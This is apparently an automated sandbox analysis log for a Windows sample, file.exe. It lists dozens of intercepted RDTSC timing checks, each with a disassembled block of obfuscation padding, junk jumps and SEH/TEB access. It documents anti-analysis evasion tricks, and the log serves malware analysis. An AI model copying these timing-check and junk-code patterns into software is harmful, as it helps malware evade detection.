Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553036F second address: 5530373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530373 second address: 5530379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530379 second address: 55303C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9275004h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c movzx esi, bx 0x0000000f pushfd 0x00000010 jmp 00007F76D9275003h 0x00000015 jmp 00007F76D9275003h 0x0000001a popfd 0x0000001b popad 0x0000001c mov edx, dword ptr [ebp+0Ch] 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55303C9 second address: 55303CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55303CD second address: 55303D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55603F2 second address: 556043C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D6050Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F76D8D6050Bh 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 mov si, 004Bh 0x00000015 movzx eax, di 0x00000018 popad 0x00000019 mov ebp, esp 0x0000001b pushad 0x0000001c mov edx, ecx 0x0000001e popad 0x0000001f xchg eax, ecx 0x00000020 jmp 00007F76D8D6050Eh 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F76D8D6050Eh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556043C second address: 5560442 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560442 second address: 5560461 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F76D8D60514h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560461 second address: 5560497 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9274FFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b jmp 00007F76D9275004h 0x00000010 mov di, cx 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F76D9274FFAh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560497 second address: 55604BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 call 00007F76D8D6050Dh 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F76D8D6050Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55604BA second address: 556056C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9274FFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-04h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F76D9275004h 0x00000013 add ecx, 5AA2A868h 0x00000019 jmp 00007F76D9274FFBh 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007F76D9275008h 0x00000025 and si, 7AC8h 0x0000002a jmp 00007F76D9274FFBh 0x0000002f popfd 0x00000030 popad 0x00000031 nop 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007F76D9275004h 0x00000039 adc si, FD28h 0x0000003e jmp 00007F76D9274FFBh 0x00000043 popfd 0x00000044 call 00007F76D9275008h 0x00000049 mov si, DD21h 0x0000004d pop esi 0x0000004e popad 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556056C second address: 5560570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560570 second address: 5560589 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9275005h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560589 second address: 55605A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60511h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ecx, edi 0x0000000f mov bx, C23Ah 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55605A9 second address: 55605D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9275000h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F76D9275007h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556068C second address: 55606B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60519h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F76D8D6050Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55606B9 second address: 55606BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55606BF second address: 55606C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55606C3 second address: 55606C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55606C7 second address: 5550010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c cmp eax, 00000000h 0x0000000f setne al 0x00000012 xor ebx, ebx 0x00000014 test al, 01h 0x00000016 jne 00007F76D8D60507h 0x00000018 xor eax, eax 0x0000001a sub esp, 08h 0x0000001d mov dword ptr [esp], 00000000h 0x00000024 mov dword ptr [esp+04h], 00000000h 0x0000002c call 00007F76DD279943h 0x00000031 mov edi, edi 0x00000033 pushad 0x00000034 mov si, 18DBh 0x00000038 movzx ecx, bx 0x0000003b popad 0x0000003c push esi 0x0000003d pushad 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550010 second address: 555005D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F76D9275000h 0x0000000a popad 0x0000000b mov dword ptr [esp], ebp 0x0000000e jmp 00007F76D9275000h 0x00000013 mov ebp, esp 0x00000015 pushad 0x00000016 mov dx, 9120h 0x0000001a popad 0x0000001b push FFFFFFFEh 0x0000001d jmp 00007F76D9274FFFh 0x00000022 push 0F1191FFh 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555005D second address: 5550061 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550061 second address: 5550067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550067 second address: 5550081 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76D8D60516h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550081 second address: 55500F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9274FFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 669D0C49h 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F76D9275004h 0x00000019 and ecx, 3FFAA028h 0x0000001f jmp 00007F76D9274FFBh 0x00000024 popfd 0x00000025 pushfd 0x00000026 jmp 00007F76D9275008h 0x0000002b adc ax, 5288h 0x00000030 jmp 00007F76D9274FFBh 0x00000035 popfd 0x00000036 popad 0x00000037 push 168F5517h 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55500F7 second address: 55500FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55500FB second address: 5550101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550101 second address: 5550191 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60513h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 5F19D659h 0x00000010 jmp 00007F76D8D60516h 0x00000015 mov eax, dword ptr fs:[00000000h] 0x0000001b jmp 00007F76D8D60510h 0x00000020 nop 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F76D8D6050Dh 0x00000028 and ax, 9C66h 0x0000002d jmp 00007F76D8D60511h 0x00000032 popfd 0x00000033 popad 0x00000034 push eax 0x00000035 pushad 0x00000036 mov ebx, 70BAA2A2h 0x0000003b mov bh, 46h 0x0000003d popad 0x0000003e nop 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F76D8D60511h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550191 second address: 55501A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76D9274FFCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55501A1 second address: 555021C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D6050Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 18h 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F76D8D6050Bh 0x00000015 add cl, FFFFFFAEh 0x00000018 jmp 00007F76D8D60519h 0x0000001d popfd 0x0000001e popad 0x0000001f xchg eax, ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F76D8D60513h 0x00000029 add cx, C7BEh 0x0000002e jmp 00007F76D8D60519h 0x00000033 popfd 0x00000034 mov cx, 1107h 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555021C second address: 55502C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F76D9275003h 0x00000009 adc si, E9CEh 0x0000000e jmp 00007F76D9275009h 0x00000013 popfd 0x00000014 mov ah, 0Fh 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a jmp 00007F76D9274FFAh 0x0000001f xchg eax, ebx 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F76D9274FFEh 0x00000027 xor cx, A578h 0x0000002c jmp 00007F76D9274FFBh 0x00000031 popfd 0x00000032 pushfd 0x00000033 jmp 00007F76D9275008h 0x00000038 xor ch, FFFFFFD8h 0x0000003b jmp 00007F76D9274FFBh 0x00000040 popfd 0x00000041 popad 0x00000042 xchg eax, esi 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F76D9275005h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55502C5 second address: 555030E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 9502h 0x00000007 mov dx, FF4Eh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 call 00007F76D8D60512h 0x00000015 pushfd 0x00000016 jmp 00007F76D8D60512h 0x0000001b and al, FFFFFFC8h 0x0000001e jmp 00007F76D8D6050Bh 0x00000023 popfd 0x00000024 pop eax 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555030E second address: 5550340 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9275005h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F76D9275003h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550340 second address: 55503AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60514h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b jmp 00007F76D8D6050Eh 0x00000010 mov dx, ax 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 call 00007F76D8D6050Dh 0x0000001b mov ebx, eax 0x0000001d pop eax 0x0000001e mov edx, 3FCEC830h 0x00000023 popad 0x00000024 xchg eax, edi 0x00000025 pushad 0x00000026 mov ch, dh 0x00000028 mov ax, E11Dh 0x0000002c popad 0x0000002d mov eax, dword ptr [75AF4538h] 0x00000032 pushad 0x00000033 movzx eax, dx 0x00000036 jmp 00007F76D8D6050Bh 0x0000003b popad 0x0000003c xor dword ptr [ebp-08h], eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55503AB second address: 55503AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55503AF second address: 55503B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55503B5 second address: 5550427 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F76D9275008h 0x00000009 add esi, 2D9FA208h 0x0000000f jmp 00007F76D9274FFBh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F76D9275008h 0x0000001b and eax, 4FB4C468h 0x00000021 jmp 00007F76D9274FFBh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a xor eax, ebp 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F76D9275002h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550427 second address: 555042D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555042D second address: 5550431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550431 second address: 555044B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D6050Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555044B second address: 5550451 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550451 second address: 555047F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F76D8D60510h 0x00000008 mov bh, ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F76D8D60513h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555047F second address: 55504F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 movzx eax, dx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d pushad 0x0000000e push edx 0x0000000f pop eax 0x00000010 popad 0x00000011 lea eax, dword ptr [ebp-10h] 0x00000014 pushad 0x00000015 mov ecx, 1558A1DFh 0x0000001a popad 0x0000001b mov dword ptr fs:[00000000h], eax 0x00000021 pushad 0x00000022 mov edi, eax 0x00000024 call 00007F76D9275008h 0x00000029 mov di, ax 0x0000002c pop ecx 0x0000002d popad 0x0000002e mov dword ptr [ebp-18h], esp 0x00000031 jmp 00007F76D9274FFDh 0x00000036 mov eax, dword ptr fs:[00000018h] 0x0000003c pushad 0x0000003d push eax 0x0000003e call 00007F76D9275003h 0x00000043 pop eax 0x00000044 pop edi 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55504F0 second address: 555055F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx esi, dx 0x00000007 popad 0x00000008 popad 0x00000009 mov ecx, dword ptr [eax+00000FDCh] 0x0000000f jmp 00007F76D8D6050Dh 0x00000014 test ecx, ecx 0x00000016 pushad 0x00000017 mov cl, FCh 0x00000019 push edi 0x0000001a movzx ecx, bx 0x0000001d pop edi 0x0000001e popad 0x0000001f jns 00007F76D8D60516h 0x00000025 pushad 0x00000026 movsx edx, cx 0x00000029 popad 0x0000002a add eax, ecx 0x0000002c pushad 0x0000002d mov eax, 18AFFD2Dh 0x00000032 mov edi, esi 0x00000034 popad 0x00000035 mov ecx, dword ptr [ebp+08h] 0x00000038 jmp 00007F76D8D60514h 0x0000003d test ecx, ecx 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F76D8D60517h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55401BC second address: 554023D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9275005h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F76D9274FFAh 0x00000014 sub ax, D718h 0x00000019 jmp 00007F76D9274FFBh 0x0000001e popfd 0x0000001f jmp 00007F76D9275008h 0x00000024 popad 0x00000025 pushfd 0x00000026 jmp 00007F76D9275002h 0x0000002b adc ecx, 246E78A8h 0x00000031 jmp 00007F76D9274FFBh 0x00000036 popfd 0x00000037 popad 0x00000038 mov ebp, esp 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554023D second address: 5540241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540241 second address: 5540247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540247 second address: 554024D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554024D second address: 5540251 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540251 second address: 554027E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 2Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F76D8D6050Dh 0x00000013 call 00007F76D8D60510h 0x00000018 pop eax 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554027E second address: 5540284 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540284 second address: 5540288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540288 second address: 55402A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9274FFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d pushad 0x0000000e mov dh, cl 0x00000010 mov cx, di 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55402A5 second address: 55402E3 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F76D8D60511h 0x00000008 or esi, 60F20636h 0x0000000e jmp 00007F76D8D60511h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F76D8D6050Ch 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55402E3 second address: 55402E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55402E9 second address: 55402ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55402ED second address: 5540343 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9274FFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F76D9274FFCh 0x00000013 jmp 00007F76D9275005h 0x00000018 popfd 0x00000019 mov ax, 99E7h 0x0000001d popad 0x0000001e xchg eax, edi 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F76D9275004h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540343 second address: 5540347 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540347 second address: 554034D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554038D second address: 5540391 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540391 second address: 5540397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540397 second address: 55403D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60514h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b jmp 00007F76D8D60511h 0x00000010 sub edi, edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F76D8D6050Ah 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55403D0 second address: 554042C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9274FFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc ebx 0x0000000a jmp 00007F76D9275006h 0x0000000f test al, al 0x00000011 pushad 0x00000012 pushad 0x00000013 jmp 00007F76D9275003h 0x00000018 popad 0x00000019 movzx ecx, di 0x0000001c popad 0x0000001d je 00007F76D9275182h 0x00000023 jmp 00007F76D9274FFBh 0x00000028 lea ecx, dword ptr [ebp-14h] 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554042C second address: 5540430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540430 second address: 5540434 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540434 second address: 554043A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554043A second address: 5540440 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554047D second address: 55404A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60512h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F76D8D6050Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55404A4 second address: 55404AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55404AA second address: 55404AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55404AE second address: 55404B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540559 second address: 55405BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60519h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-14h], edi 0x0000000c jmp 00007F76D8D6050Eh 0x00000011 jne 00007F77492BE41Ah 0x00000017 pushad 0x00000018 call 00007F76D8D6050Eh 0x0000001d movzx eax, dx 0x00000020 pop edi 0x00000021 movzx ecx, di 0x00000024 popad 0x00000025 mov ebx, dword ptr [ebp+08h] 0x00000028 jmp 00007F76D8D6050Fh 0x0000002d lea eax, dword ptr [ebp-2Ch] 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
